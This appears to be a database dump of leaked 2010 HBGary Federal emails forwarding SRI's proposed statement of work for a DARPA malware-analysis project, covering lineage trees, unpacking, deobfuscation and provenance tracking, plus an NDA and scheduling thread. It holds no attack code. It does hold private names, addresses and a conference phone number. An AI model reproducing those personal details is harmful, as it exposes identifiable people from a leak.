exploration.\r\n\r\n&nbsp;\r\n\r\n1.1.8&nbsp;&nbsp; Task 8\r\n\r\n&nbsp;\r\n\r\nSRI shall provide support for associated meetings,\r\nreporting, demonstrations and presentations.\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nSRI&nbsp; Research Thrust Contributions\r\n\r\n&nbsp;\r\n\r\n1.&nbsp; Malware Comparison and Lineage Trees\r\n\r\n&nbsp;\r\n\r\nHorizontal Malware Analysis is an analysis technique\r\nand a tool SRI\r\n\r\ndeveloped to enable automated static analysis of a\r\nlarge corpus of\r\n\r\nmalware in a scalable way.&nbsp; A core capability\r\nof the horizontal\r\n\r\nmalware analysis tool is its ability to produce a\r\ncorrespondence\r\n\r\nbetween unpacked disassemblies of different pieces\r\nof malware, which\r\n\r\nwe refer to as a malcode mapping.&nbsp; Our\r\nalgorithm consists of three\r\n\r\nsteps: \r\n\r\n&nbsp;\r\n\r\n&nbsp;&nbsp; Step 1 - Multi-level hashing: A variety\r\nof features have been\r\n\r\nconsidered in the literature for comparing malcodes.\r\nOur approach\r\n\r\nincorporates five features, two of which are at the\r\nsubroutine level\r\n\r\nand three others are the basic block level.&nbsp; We\r\nconsider hashes of\r\n\r\nsubroutine prototoypes, subroutine instruction\r\nclasses,\r\n\r\ninstructions,complete blocks without offsets, and\r\ncomplete blocks.&nbsp; *\r\n\r\n&nbsp;\r\n\r\n&nbsp;&nbsp;&nbsp; Step 2 - Mapping: Here we produce\r\na correspondence between the\r\n\r\nbasic blocks of two different malware code sequences\r\nfor which\r\n\r\nthe multi-level hashes have already been\r\ncomputed.&nbsp; We formulate\r\n\r\nmapping as a minimization problem. The goal is to\r\nproduce a\r\n\r\nmapping between the basic blocks that minimizes the\r\ntotal cost.\r\n\r\nThere is one obvious constraint: two basic blocks\r\ncan be matched\r\n\r\nto each other only if the subroutines they are in\r\nare also\r\n\r\nmatched to each other.\r\n\r\n&nbsp;\r\n\r\n&nbsp;&nbsp;&nbsp; Step 3 - Alignment: The goal of\r\nalignment is to linearize the\r\n\r\nmapping and isolate subroutines that exhibit\r\ndifferences.&nbsp; We\r\n\r\nalso provide a visualization system that color codes\r\nbasic\r\n\r\nblocks and presents the data in a visually\r\ndescriptive way to\r\n\r\nthe human analyst.\r\n\r\n&nbsp;\r\n\r\nThe mapping process above yeilds a way to assign a\r\nnumerical matching\r\n\r\nscore to any pair of malware disassemblies, i.e.,\r\nthe cost of the\r\n\r\noptimal matching produced by the mapping.&nbsp;\r\nHaving determined distances\r\n\r\nbetween any pair of a set of artifacts, we propose\r\nto use one of\r\n\r\nseveral phylogenetic algorithms which can be applied\r\nto construct a\r\n\r\nmalware lineage tree relating the artifacts in the\r\nset, \r\n\r\nwhich can help identify provenance of digital\r\nartifacts and\r\n\r\nimprove understanding of malware\r\nevolution.&nbsp;&nbsp; Briefly, these algorithms\r\n\r\nencompass\r\n\r\n&nbsp;\r\n\r\n&nbsp;&nbsp;&nbsp;&nbsp; Distance-based measurement:\r\nThis uses simple distance measures, as \r\n\r\ndetermined above,&nbsp; to build trees by, e.g.\r\nneighbor joining.\r\n\r\n&nbsp;\r\n\r\n&nbsp;&nbsp;&nbsp;&nbsp; Maximum likelihood\r\nmeasurement: This algorithm builds trees that \r\n\r\nmaximize the probability of the data.&nbsp; It is\r\nespecially suited to be \r\n\r\ncombined with Markov models.\r\n\r\n&nbsp;\r\n\r\n&nbsp;&nbsp;&nbsp;&nbsp; Maximum parsimony\r\nmeasurement: This algorithm is similar to maximum \r\n\r\nlikelihood but instead seeks to minimize the total\r\nnumber of changes in\r\n\r\nthe tree.\r\n\r\n&nbsp;\r\n\r\nAs we can expect malware to come from different\r\nsources, we would need\r\n\r\nseveral disjoint lineage trees to represent the\r\nentire data set.&nbsp; For\r\n\r\na given, substantial set of artifacts, we expect the\r\nresult to be a\r\n\r\nset of disjoint trees which, in total, represent the\r\nentire set.&nbsp; We\r\n\r\nintend to use clustering techniques to partition the\r\noverall set of\r\n\r\nartifacts into disjoint subsets, where each cluster\r\nwill have an\r\n\r\nassociated lineage tree.\r\n\r\n&nbsp;\r\n\r\nInnovative Claims: Horizontal Malware Analysis;\r\nPhylogentic algorithms \r\n\r\nfor malware lineage tree consturction\r\n\r\n&nbsp;\r\n\r\nDeliverables: \r\n\r\n- HMA Comparison System\r\n\r\n- Quantitative comparison study of lineage trees\r\nacross multiple algorithms\r\n\r\n- Delivery of a software component integrating\r\nlineage trees with HMA\r\n\r\n&nbsp;\r\n\r\n2. Malware Unpacking and Call Site Resolution\r\n\r\n&nbsp;\r\n\r\nSRI will use its Eureka unpacking technology to\r\nautomatically recover\r\n\r\nunpacked executable images from packed\r\nbinaries.&nbsp; Eureka implements a\r\n\r\ncoarse-grained execution tracking strategy that\r\nallows for efficient\r\n\r\nmonitoring of malware execution progress.&nbsp; A\r\nmemory snapshot is\r\n\r\ntriggered by its hypothesis testing algorithm when\r\nseveral criteria\r\n\r\nare satisfied. These criteria includes the number of\r\nsystem calls,\r\n\r\nprocess execution time, a bigram count indicating a\r\nsharp increase of\r\n\r\nthe code to data ratio, or specific system calls\r\nsuch as process fork\r\n\r\nor terminate process. &nbsp;\r\n\r\n&nbsp;\r\n\r\nWe will develop binary evaluation metrics with the\r\npurpose of\r\n\r\nassessing the quality of the unpacked code and\r\nrerunning the Eureka\r\n\r\nunpacker if necessary to obtain a more complete\r\nunpacked code. SRI\r\n\r\nwill implement its speculative API resolution\r\nalgorithm to\r\n\r\nautomatically resolve call sites.&nbsp; SRI will\r\ndeliver the post unpacking\r\n\r\nanalysis capability as an add on to the Eureka\r\nframework to enable\r\n\r\nfurther analysis and classification of malware.\r\n\r\n&nbsp;\r\n\r\nWe also plan on developing additional criteria that\r\ndetermine the optimal\r\n\r\nmoment for taking a memory snapshot of the running\r\nprocess and\r\n\r\nrecovering the original entry point.&nbsp; We will\r\nalso investigate novel\r\n\r\nways of hiding Eureka from being detected by the\r\nrunning binary to\r\n\r\navoid triggering suicide logic.&nbsp; We will also\r\nexplore\r\n\r\nsnapshot-stitching techinques for dealing with\r\nmulti-stage packers and\r\n\r\nblock encryption.&nbsp; SRI will deliver new\r\nunpacking technology that will\r\n\r\ncover a large number of existing packing technology.\r\n\r\n&nbsp;\r\n\r\nInnovative Claims: Application of hypthesis testing\r\nand bigram analysis,\r\n\r\nspeculative api resolution, snapshot stitching, \r\n\r\n&nbsp;\r\n\r\nDeliverables\r\n\r\n- Automated system for malware unpacking and API\r\nresolution\r\n\r\n&nbsp;\r\n\r\n3.&nbsp; Malware Deobfuscation to Enable Static\r\nAnalysis\r\n\r\n&nbsp;\r\n\r\nSRI will build automated ways of recognizing\r\nobfuscated code and\r\n\r\nidentifying the obfuscation steps that have been\r\nemployed to hinder\r\n\r\nautomated analysis. SRI will then provide automated\r\nways of\r\n\r\nsystematically undoing the work of obfuscators to\r\nrestore the binary\r\n\r\nto an equivalent but unobfuscated form. This will be\r\ndone by using\r\n\r\nbinary rewriting techniques. To validate the binary\r\nrewrite step, we\r\n\r\nwill use decompilation tools to recover a high-level\r\nC and C++ source\r\n\r\ncode of the binary code. By assessing the quality of\r\nthe source code,\r\n\r\nwe can assess the quality of our deobfuscation steps\r\nand can improve\r\n\r\nit accordingly. SRI will deliver a binary rewriting\r\ntool and the\r\n\r\ncorresponding deobfuscation rewrite rules.\r\n\r\n&nbsp;\r\n\r\nWe propose to adapt and evaluate existing techniques\r\nfrom\r\n\r\ncomputational biology to the problem of malware\r\ndeobfuscation. \r\n\r\nIn particular we use CB techinques to tackle the\r\nproblem of comparing \r\n\r\nobfuscated malware code segments.\r\n\r\n&nbsp;\r\n\r\nError Correcting Codes (ECC):&nbsp; We note that for\r\nevery\r\n\r\nobfuscation technique used in digital artifacts,\r\nthere is an ECC which\r\n\r\nmitigates the effect of the obfuscation.&nbsp; By\r\nusing such codes, we can\r\n\r\nin effect make one digital artifact resemble another\r\nto an arbitrary\r\n\r\ndegree of accuracy and thus, we can determine the\r\ndegree of original\r\n\r\nsimilarity.\r\n\r\n&nbsp;\r\n\r\nInfinite Sites (IS): The IS evolution model makes it\r\nalgorithmically\r\n\r\ntractable to determine a series of changes that\r\ncould transform one\r\n\r\nartifact into another.&nbsp; The number and nature\r\nof the mutations\r\n\r\nrepresents a distance between the two artifacts.\r\n\r\n&nbsp;\r\n\r\nMalware Markov Models (MM): If we know the\r\nprobability of different\r\n\r\nobfuscation types (which could be determined by data\r\nmining a set of\r\n\r\nartifacts), we can build a Markov model that\r\ntransforms any artifact\r\n\r\ninto any other and calculate a probability of that\r\ntransformation.\r\n\r\nOnce again, this probability represents distance\r\nbetween the two\r\n\r\nartifacts.\r\n\r\n&nbsp;\r\n\r\nDeliverables\r\n\r\n&nbsp;\r\n\r\n- Ida plugin for deobfuscating basic malware\r\ntransformations\r\n\r\n&nbsp;\r\n\r\n- Quantitative comparison study of two or more of\r\nthese techniques\r\n\r\napplied to a small set of obfuscated malware.\r\n\r\n&nbsp;\r\n\r\n- Larger scale evaluation and delivery of a software\r\ncomponent \r\n\r\nthat efficiently compares similarity between\r\nobfuscated malware\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n4. Statically Informed Malware Execution and\r\nProvenance Tracking\r\n\r\n&nbsp;\r\n\r\nThe origin entry point of the malware binary is\r\nusually not known at\r\n\r\nthis point.&nbsp; We will employ novel approaches to\r\ndetermine the OEP in\r\n\r\nthe captured memory image of the process.&nbsp; We\r\nwill then automatically\r\n\r\nrewrite the binary\'s header to set the OEP and\r\nrebuild import tables.\r\n\r\nWe will also develop automated techniques for\r\ninformed reconstruction\r\n\r\nof malware binaries to enable execution and bypass\r\nsuicide logic.SRI\r\n\r\nwill use the output from static analysis of malware\r\nsamples to enable\r\n\r\nguided executions of unpacked binaries.&nbsp; An\r\nimportant first step\r\n\r\ntoward this end is transforming automatically\r\nunpacked binaries to\r\n\r\nrunning executables for example by fixing the origin\r\nentry point,\r\n\r\nreconstructing import tables and removing suicide\r\nchecks.&nbsp; We will\r\n\r\nemploy novel approaches to determine the OEP in the\r\ncaptured memory\r\n\r\nimage of the process and automatically rewrite the\r\nbinary\'s header to\r\n\r\nset the OEP and rebuild import tables.&nbsp; We will\r\nalso develop static\r\n\r\nanalysis and instrumentation techniques to identify\r\nand bypass\r\n\r\nunnecessary suicide logic.\r\n\r\n&nbsp;\r\n\r\nWe will use provenance analysis techniques to track\r\nmalware execution\r\n\r\nprogress and classify malware based on functionalities.&nbsp;\r\nWe will\r\n\r\ncategorize system egress points (subsequently called\r\nsinks) through\r\n\r\nwhich data leakage can occur. Only interfaces with a\r\nchannel bandwidth\r\n\r\nabove a predefined threshold will be considered.\r\nSimilarly, a\r\n\r\nclassification of sensitive data sources will be\r\nassembled. Functional\r\n\r\nelements in malware (such as keyloggers, filesystem\r\ndrivers, Web\r\n\r\nbrowser plugins) that serve to redirect data flows\r\nfrom data sources\r\n\r\nto sinks will be identified based on the\r\ncapabilities of\r\n\r\nco-proposers. A taxonomy of data flow will be\r\nconstructed, organizing\r\n\r\nthe above three classes into a coherent framework.\r\nUsing the taxonomy,\r\n\r\nthe presence of malware functional elements can be\r\ncombined with\r\n\r\nobserved data access patterns to guide inferences about\r\nhigh-level\r\n\r\nmalware intent.\r\n\r\n&nbsp;\r\n\r\nWe will assume that malware unpacking and analysis\r\nhas revealed which \r\n\r\nfunctional elements are present. Access patterns\r\ngenerated by host \r\n\r\napplications in controlled environments will be\r\ncompared to access \r\n\r\npatterns of the application with the malware\r\nembedded. The difference in \r\n\r\npatterns will be mapped to functional elements.\r\nBased on the functional \r\n\r\nelement type and guided by the taxonomy, we will\r\ninfer which data may \r\n\r\nhave leaked or been compromised.\r\n\r\n&nbsp;\r\n\r\nTracking provenance at the system call API level\r\n\r\ncaptures process level data dependency which may\r\nyield false\r\n\r\npositives. By leveraging the control flow graph of\r\nthe malware, the\r\n\r\ndependency analysis can be refined.&nbsp; We will\r\nutilize this to improve\r\n\r\nthe precision of identifying data that may be leaked\r\nor compromised by\r\n\r\nthe malware.\r\n\r\n&nbsp;\r\n\r\nInnovative Claims: Statically Informed Binary\r\nReconstruction, \r\n\r\nProvenance Tracking\r\n\r\n&nbsp;\r\n\r\nDeliverables:\r\n\r\n- Malware execution binary recontructor\r\n\r\n- Taxonomy of data sources, malware functional\r\nelements, and sinks.\r\n\r\n- Software component that takes as input data\r\nprovenance traces and \r\n\r\n&nbsp; unctional element descriptions and outputs\r\nconjectured goals of \r\n\r\n&nbsp; malware. \r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',11777,'aaron_hbgary_com/11777.html'),(3593,'2010-03-05','\"Starr, Christopher H.\" <Chris.Starr@gd-ais.com>','/aaron@hbgary.com/new/1297001810.M538685P3547Q3593.eml','\"Aaron Barr\" <aaron@hbgary.com>','FW: additional details from SRI','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Starr, Christopher\r\nH. \r\nSent: Friday, March 05, 2010 10:43 AM\r\nTo: Upchurch, Jason R.; Harlow, Douglas M.; Kipper, Gregory A.; Wilson,\r\nBen N.\r\nSubject: FW: additional details from SRI\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nAdditional details and papers from SRI (the host-rx1 paper is in\r\nsubmission).\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nHi guys,&nbsp; here are some\r\nrough additions, in red.&nbsp;&nbsp; More input soon.\r\nI realize this is rough and needs significant&nbsp; sharpening and in some \r\ncases the entries overlap w/ area 3.\r\n\r\nOne relevant paper is attached (host-rx), but it is currently in submission and\r\n\r\nis not for wider group distribution.&nbsp; I just want to give you a heads up\r\nabout\r\nit as I think it fits the general sphere of Area 1, and we could pull\r\nfrom it if you feel its relevant.&nbsp; Read the abstract and intro.&nbsp; This\r\nshould\r\ngive you a rough sense. (again, please don\'t distribute outside your\r\nGD-internal\r\nproposal team).\r\n\r\nAlso attached is a thought piece from a colleague in my lab who is thinking\r\nof some cyber-genetics work related to area 1.&nbsp; If there is a fit here,\r\nthat is\r\nfine, and otherwise is fine too.\r\n\r\nPhil\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',10027,'aaron_hbgary_com/10027.html'),(3594,'2010-03-05','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001810.M976793P3547Q3594.eml','\"Irby Thompson\" <irby@pikewerks.com>,\"Adam Fraser\" <adam.fraser@pikewerks.com>','Fwd: Details from SRI','\r\n\r\nBegin forwarded message:\r\n\r\n> From: \"Starr, Christopher H.\" \r\n> Date: March 5, 2010 1:12:56 PM EST\r\n> To: \"Aaron Barr\" \r\n> Subject: FW: Details from SRI\r\n> \r\n>  \r\n>  \r\n> From: Starr, Christopher H. \r\n> Sent: Friday, March 05, 2010 10:40 AM\r\n> To: Upchurch, Jason R.; Rodriguez, Harold; Harlow, Douglas M.; Vela, Ryan; Larson, Cindy S.\r\n> Cc: Wilson, Ben N.; Kipper, Gregory A.\r\n> Subject: Details from SRI\r\n>  \r\n> The following is from SRI (see below and attached SOW language):\r\n>  \r\n> 1.1.1  Task 1\r\n>  \r\n> SRI shall develop improved and multi-perspective malware capture capabilities including next generation honeynets, and capture capabilities for client-side malware, email-borne malware, and malware embedded in P2P networks. The goal of this research is to improve the diversity of the malware binary collection sources.\r\n>  \r\n> 1.1.2 Task 2\r\n>  \r\n> SRI shall develop novel and scalable automated unpacking techniques for malware including dealing with multiply-packed malware and dynamic code not mapped to process memory. The goal of this research is to cover a large number of packing technologies.\r\n>  \r\n> 1.1.3  Task 3\r\n>  \r\n> SRI shall provide research in the area of executable reconstruction from disk based malware or malware memory extractions.  The goal of the research is to return code extracted from memory or code that has been obfuscated into an un-obscured executable file.  This work includes but is not limited to, extracting executables from process or full memory dumps, de-obfuscating packed malware, automatically rebuilding import tables, automatically locating and restoring the original entry point, rebuilding malicious dll code to stand alone executables, and removing obfuscation and anti-analysis techniques such as chunking and suicide logic. The longer term objective of this work is to enable the statically-informed binary execution or path exploration.\r\n>  \r\n>  \r\n> 1.1.4  Task 4\r\n>  \r\n> SRI shall provide research support in the use of de-compilation as a litmus test to determine if machine code has been obfuscated.  SRI shall coordinate with other team members involved in the code extraction segment of the project to apply this research to specific obfuscation problems encountered in code extraction.\r\n>  \r\n>  \r\n> 1.1.5 Task 5\r\n>  \r\n> SRI shall develop a combination of Bayesian and probabilistic algorithms and algorithms from computational biology to create lineage trees to identify the provenance of digital artifacts and improve understanding of software evolution. The goal of this research is to enable the informed and automated malware forensic clustering.\r\n>  \r\n>  \r\n> 1.1.6  Task 6\r\n>  \r\n> SRI shall develop techniques based on computational biology gene sequence alignment algorithms involving the use of error-correcting codes, infinite sites evolution, and Markov models of mutation to automatically deobfuscate code independent of what obfuscation techniques were applied to the code.\r\n>  \r\n> 1.1.7 Task 7\r\n>  \r\n> SRI shall develop taxonomy for data leakage based on categorization of system egress points, classification of sensitive data sources and functional elements in malware to guide inferences about high-level malware intent. The goal of this research is to enable behavioral malware classification based on provenance taxonomy and tracking access patterns for host applications. SRI will also combine taint analysis and provinence analysis to improve and guide multipath exploration.\r\n>  \r\n> 1.1.8   Task 8\r\n>  \r\n> SRI shall provide support for associated meetings, reporting, demonstrations and presentations.\r\n>  \r\n>  \r\n> SRI  Research Thrust Contributions\r\n>  \r\n> 1.  Malware Comparison and Lineage Trees\r\n>  \r\n> Horizontal Malware Analysis is an analysis technique and a tool SRI\r\n> developed to enable automated static analysis of a large corpus of\r\n> malware in a scalable way.  A core capability of the horizontal\r\n> malware analysis tool is its ability to produce a correspondence\r\n> between unpacked disassemblies of different pieces of malware, which\r\n> we refer to as a malcode mapping.  Our algorithm consists of three\r\n> steps:\r\n>  \r\n>    Step 1 - Multi-level hashing: A variety of features have been\r\n> considered in the literature for comparing malcodes. Our approach\r\n> incorporates five features, two of which are at the subroutine level\r\n> and three others are the basic block level.  We consider hashes of\r\n> subroutine prototoypes, subroutine instruction classes,\r\n> instructions,complete blocks without offsets, and complete blocks.  *\r\n>  \r\n>     Step 2 - Mapping: Here we produce a correspondence between the\r\n> basic blocks of two different malware code sequences for which\r\n> the multi-level hashes have already been computed.  We formulate\r\n> mapping as a minimization problem. The goal is to produce a\r\n> mapping between the basic blocks that minimizes the total cost.\r\n> There is one obvious constraint: two basic blocks can be matched\r\n> to each other only if the subroutines they are in are also\r\n> matched to each other.\r\n>  \r\n>     Step 3 - Alignment: The goal of alignment is to linearize the\r\n> mapping and isolate subroutines that exhibit differences.  We\r\n> also provide a visualization system that color codes basic\r\n> blocks and presents the data in a visually descriptive way to\r\n> the human analyst.\r\n>  \r\n> The mapping process above yeilds a way to assign a numerical matching\r\n> score to any pair of malware disassemblies, i.e., the cost of the\r\n> optimal matching produced by the mapping.  Having determined distances\r\n> between any pair of a set of artifacts, we propose to use one of\r\n> several phylogenetic algorithms which can be applied to construct a\r\n> malware lineage tree relating the artifacts in the set,\r\n> which can help identify provenance of digital artifacts and\r\n> improve understanding of malware evolution.   Briefly, these algorithms\r\n> encompass\r\n>  \r\n>      Distance-based measurement: This uses simple distance measures, as\r\n> determined above,  to build trees by, e.g. neighbor joining.\r\n>  \r\n>      Maximum likelihood measurement: This algorithm builds trees that\r\n> maximize the probability of the data.  It is especially suited to be\r\n> combined with Markov models.\r\n>  \r\n>      Maximum parsimony measurement: This algorithm is similar to maximum\r\n> likelihood but instead seeks to minimize the total number of changes in\r\n> the tree.\r\n>  \r\n> As we can expect malware to come from different sources, we would need\r\n> several disjoint lineage trees to represent the entire data set.  For\r\n> a given, substantial set of artifacts, we expect the result to be a\r\n> set of disjoint trees which, in total, represent the entire set.  We\r\n> intend to use clustering techniques to partition the overall set of\r\n> artifacts into disjoint subsets, where each cluster will have an\r\n> associated lineage tree.\r\n>  \r\n> Innovative Claims: Horizontal Malware Analysis; Phylogentic algorithms\r\n> for malware lineage tree consturction\r\n>  \r\n> Deliverables:\r\n> - HMA Comparison System\r\n> - Quantitative comparison study of lineage trees across multiple algorithms\r\n> - Delivery of a software component integrating lineage trees with HMA\r\n>  \r\n> 2. Malware Unpacking and Call Site Resolution\r\n>  \r\n> SRI will use its Eureka unpacking technology to automatically recover\r\n> unpacked executable images from packed binaries.  Eureka implements a\r\n> coarse-grained execution tracking strategy that allows for efficient\r\n> monitoring of malware execution progress.  A memory snapshot is\r\n> triggered by its hypothesis testing algorithm when several criteria\r\n> are satisfied. These criteria includes the number of system calls,\r\n> process execution time, a bigram count indicating a sharp increase of\r\n> the code to data ratio, or specific system calls such as process fork\r\n> or terminate process.  \r\n>  \r\n> We will develop binary evaluation metrics with the purpose of\r\n> assessing the quality of the unpacked code and rerunning the Eureka\r\n> unpacker if necessary to obtain a more complete unpacked code. SRI\r\n> will implement its speculative API resolution algorithm to\r\n> automatically resolve call sites.  SRI will deliver the post unpacking\r\n> analysis capability as an add on to the Eureka framework to enable\r\n> further analysis and classification of malware.\r\n>  \r\n> We also plan on developing additional criteria that determine the optimal\r\n> moment for taking a memory snapshot of the running process and\r\n> recovering the original entry point.  We will also investigate novel\r\n> ways of hiding Eureka from being detected by the running binary to\r\n> avoid triggering suicide logic.  We will also explore\r\n> snapshot-stitching techinques for dealing with multi-stage packers and\r\n> block encryption.  SRI will deliver new unpacking technology that will\r\n> cover a large number of existing packing technology.\r\n>  \r\n> Innovative Claims: Application of hypthesis testing and bigram analysis,\r\n> speculative api resolution, snapshot stitching,\r\n>  \r\n> Deliverables\r\n> - Automated system for malware unpacking and API resolution\r\n>  \r\n> 3.  Malware Deobfuscation to Enable Static Analysis\r\n>  \r\n> SRI will build automated ways of recognizing obfuscated code and\r\n> identifying the obfuscation steps that have been employed to hinder\r\n> automated analysis. SRI will then provide automated ways of\r\n> systematically undoing the work of obfuscators to restore the binary\r\n> to an equivalent but unobfuscated form. This will be done by using\r\n> binary rewriting techniques. To validate the binary rewrite step, we\r\n> will use decompilation tools to recover a high-level C and C++ source\r\n> code of the binary code. By assessing the quality of the source code,\r\n> we can assess the quality of our deobfuscation steps and can improve\r\n> it accordingly. SRI will deliver a binary rewriting tool and the\r\n> corresponding deobfuscation rewrite rules.\r\n>  \r\n> We propose to adapt and evaluate existing techniques from\r\n> computational biology to the problem of malware deobfuscation.\r\n> In particular we use CB techinques to tackle the problem of comparing\r\n> obfuscated malware code segments.\r\n>  \r\n> Error Correcting Codes (ECC):  We note that for every\r\n> obfuscation technique used in digital artifacts, there is an ECC which\r\n> mitigates the effect of the obfuscation.  By using such codes, we can\r\n> in effect make one digital artifact resemble another to an arbitrary\r\n> degree of accuracy and thus, we can determine the degree of original\r\n> similarity.\r\n>  \r\n> Infinite Sites (IS): The IS evolution model makes it algorithmically\r\n> tractable to determine a series of changes that could transform one\r\n> artifact into another.  The number and nature of the mutations\r\n> represents a distance between the two artifacts.\r\n>  \r\n> Malware Markov Models (MM): If we know the probability of different\r\n> obfuscation types (which could be determined by data mining a set of\r\n> artifacts), we can build a Markov model that transforms any artifact\r\n> into any other and calculate a probability of that transformation.\r\n> Once again, this probability represents distance between the two\r\n> artifacts.\r\n>  \r\n> Deliverables\r\n>  \r\n> - Ida plugin for deobfuscating basic malware transformations\r\n>  \r\n> - Quantitative comparison study of two or more of these techniques\r\n> applied to a small set of obfuscated malware.\r\n>  \r\n> - Larger scale evaluation and delivery of a software component\r\n> that efficiently compares similarity between obfuscated malware\r\n>  \r\n>  \r\n> 4. Statically Informed Malware Execution and Provenance Tracking\r\n>  \r\n> The origin entry point of the malware binary is usually not known at\r\n> this point.  We will employ novel approaches to determine the OEP in\r\n> the captured memory image of the process.  We will then automatically\r\n> rewrite the binary\'s header to set the OEP and rebuild import tables.\r\n> We will also develop automated techniques for informed reconstruction\r\n> of malware binaries to enable execution and bypass suicide logic.SRI\r\n> will use the output from static analysis of malware samples to enable\r\n> guided executions of unpacked binaries.  An important first step\r\n> toward this end is transforming automatically unpacked binaries to\r\n> running executables for example by fixing the origin entry point,\r\n> reconstructing import tables and removing suicide checks.  We will\r\n> employ novel approaches to determine the OEP in the captured memory\r\n> image of the process and automatically rewrite the binary\'s header to\r\n> set the OEP and rebuild import tables.  We will also develop static\r\n> analysis and instrumentation techniques to identify and bypass\r\n> unnecessary suicide logic.\r\n>  \r\n> We will use provenance analysis techniques to track malware execution\r\n> progress and classify malware based on functionalities.  We will\r\n> categorize system egress points (subsequently called sinks) through\r\n> which data leakage can occur. Only interfaces with a channel bandwidth\r\n> above a predefined threshold will be considered. Similarly, a\r\n> classification of sensitive data sources will be assembled. Functional\r\n> elements in malware (such as keyloggers, filesystem drivers, Web\r\n> browser plugins) that serve to redirect data flows from data sources\r\n> to sinks will be identified based on the capabilities of\r\n> co-proposers. A taxonomy of data flow will be constructed, organizing\r\n> the above three classes into a coherent framework. Using the taxonomy,\r\n> the presence of malware functional elements can be combined with\r\n> observed data access patterns to guide inferences about high-level\r\n> malware intent.\r\n>  \r\n> We will assume that malware unpacking and analysis has revealed which\r\n> functional elements are present. Access patterns generated by host\r\n> applications in controlled environments will be compared to access\r\n> patterns of the application with the malware embedded. The difference in\r\n> patterns will be mapped to functional elements. Based on the functional\r\n> element type and guided by the taxonomy, we will infer which data may\r\n> have leaked or been compromised.\r\n>  \r\n> Tracking provenance at the system call API level\r\n> captures process level data dependency which may yield false\r\n> positives. By leveraging the control flow graph of the malware, the\r\n> dependency analysis can be refined.  We will utilize this to improve\r\n> the precision of identifying data that may be leaked or compromised by\r\n> the malware.\r\n>  \r\n> Innovative Claims: Statically Informed Binary Reconstruction,\r\n> Provenance Tracking\r\n>  \r\n> Deliverables:\r\n> - Malware execution binary recontructor\r\n> - Taxonomy of data sources, malware functional elements, and sinks.\r\n> - Software component that takes as input data provenance traces and\r\n>   unctional element descriptions and outputs conjectured goals of\r\n>   malware.\r\n>  \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',4492,'aaron_hbgary_com/4492.html'),(3595,'2010-03-05','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001812.M799216P3547Q3595.eml','\"Irby Thompson\" <irby@pikewerks.com>,\"Adam Fraser\" <adam.fraser@pikewerks.com>','Fwd: additional details from SRI','\r\n\r\nBegin forwarded message:\r\n\r\n> From: \"Starr, Christopher H.\" \r\n> Date: March 5, 2010 1:13:11 PM EST\r\n> To: \"Aaron Barr\" \r\n> Subject: FW: additional details from SRI\r\n> \r\n>  \r\n>  \r\n> From: Starr, Christopher H. \r\n> Sent: Friday, March 05, 2010 10:43 AM\r\n> To: Upchurch, Jason R.; Harlow, Douglas M.; Kipper, Gregory A.; Wilson, Ben N.\r\n> Subject: FW: additional details from SRI\r\n>  \r\n> Additional details and papers from SRI (the host-rx1 paper is in submission).\r\n>  \r\n>  \r\n> Hi guys,  here are some rough additions, in red.   More input soon.\r\n> I realize this is rough and needs significant  sharpening and in some \r\n> cases the entries overlap w/ area 3.\r\n> \r\n> One relevant paper is attached (host-rx), but it is currently in submission and \r\n> is not for wider group distribution.  I just want to give you a heads up about\r\n> it as I think it fits the general sphere of Area 1, and we could pull\r\n> from it if you feel its relevant.  Read the abstract and intro.  This should\r\n> give you a rough sense. (again, please don\'t distribute outside your GD-internal\r\n> proposal team).\r\n> \r\n> Also attached is a thought piece from a colleague in my lab who is thinking\r\n> of some cyber-genetics work related to area 1.  If there is a fit here, that is\r\n> fine, and otherwise is fine too.\r\n> \r\n> Phil\r\n> \r\n> \r\n> \r\n>  \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',6624,'aaron_hbgary_com/6624.html'),(3596,'2010-03-05','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001813.M146646P3547Q3596.eml','\"Irby Thompson\" <irby@pikewerks.com>,\"Irby Thompson\" <irby@pikewerks.com>','Re: DARPA BAA','what #?\r\n\r\nWhat is ur # adam?\r\n\r\nOn Mar 2, 2010, at 11:12 AM, Irby Thompson wrote:\r\n\r\n> Aaron,\r\n> \r\n> Are you available for a call at 1PM EST?\r\n> If so, can you call into our conference line: 256.325.4671.\r\n> \r\n> 	Regards,\r\n> 	Irby\r\n> \r\n> \r\n> \r\n> On Mar 1, 2010, at 5:52 PM, Aaron Barr wrote:\r\n> \r\n>> Irby,\r\n>> \r\n>> I have CC\'d Chris Starr from GD.  Because of the short timeframe and multiple submission areas I would like to add you to the overall conversations over Tech Area 1 and 3.  There is overlap between the areas and I think we would all benefit from full participation.  Chris will add you to the meeting list for our daily calls and agenda.\r\n>> \r\n>> Lets plan on getting on the phone in the morning to catch up.  Give me a good time.\r\n>> \r\n>> Aaron\r\n>> \r\n>> \r\n>> \r\n>> On Feb 25, 2010, at 7:39 PM, Irby Thompson wrote:\r\n>> \r\n>>> Aaron,\r\n>>> \r\n>>> Please find the signed NDA attached. Once you guys have countersigned, let\'s arrange a time to begin discussion.\r\n>>> \r\n>>> 	Regards,\r\n>>> 	Irby\r\n>>> \r\n>>> \r\n>>> \r\n>>> On Feb 24, 2010, at 7:53 AM, Aaron Barr wrote:\r\n>>> \r\n>>>> Hi Irby,\r\n>>>> \r\n>>>> Attached is our NDA.  Let me know if you have some time this afternoon or tomorrow for your team to discuss.\r\n>>>> \r\n>>>> Thanks,\r\n>>>> Aaron Barr\r\n>>>> CEO\r\n>>>> HBGary Federal Inc.\r\n>>>> \r\n>>>> \r\n>>>> \r\n>>> \r\n>> \r\n>> Aaron 